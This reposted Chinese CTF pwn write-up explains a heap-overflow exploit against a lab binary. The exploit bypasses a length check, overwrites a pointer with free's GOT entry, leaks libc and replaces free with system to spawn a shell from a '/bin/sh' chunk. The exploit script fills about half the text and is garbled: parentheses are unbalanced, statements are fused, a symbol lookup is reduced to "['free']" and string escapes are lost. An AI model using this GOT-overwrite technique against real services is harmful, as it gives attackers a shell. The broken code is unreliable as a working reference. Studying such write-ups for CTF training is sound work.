直接分析WP:
Add(0x80, 0x80, 'qin')
Add(0x80, 0x80, 'qin')
Add(0x8, 0x8, '/bin/shx00')
Del(0)#注意堆块块首的长度
Add(0x100, 0x19c, "a"*0x198+['free']))
Dis(1)
p.recvuntil("description: ")
free_addr = v(4))libc = LibcSearcher('free', free_addr)
libc_base = free_addr - libc.dump('free')
sys_addr = libc_base + libc.dump('system')#堆块1的description指针已经被修改为free的地址,则可以将free地址内的内容替换为system
Upd(1, 0x4, p32(sys_addr))
Del(2)p.interactive()
来自这位师傅
首先这个输入检查机制不必多说,绕过检查机制,导致堆溢出是本题的关键。
接下来我们来关注两个重点的问题,,,就是 “往某个地址写东西“” ,这句话的利用:
Add(0x100, 0x19c, "a"*0x198+['free']))
Dis(1)
这其实就是在修改description处的用户数据区的值,原本要显示的第二个堆中存着的堆地址被改变。
导致直接去显示了got表中free函数的函数地址,这里比较巧[,]和图中那个sub_80486bb的第一个地址一样,都是可以被写的地址。
Upd(1, 0x4, p32(sys_addr))
Del(2)
再来看这个,利用之前传入的表的地址,再利用该函数往该地址写入数据的功能,导致本来是要向原本存储的第一个堆块的地址处写数据改为向表处写数据,直接导致表处的free函数的地址被修改,,,,而后执行system(“/bin/shx00”)
有一点比较离谱的是,这里free的参数是个"/bin/shx00"该字符串的地址
本文发布于:2024-01-28 22:42:25,感谢您对本站的认可!
本文链接:https://www.4u4v.net/it/170645294810820.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
留言与评论(共有 0 条评论) |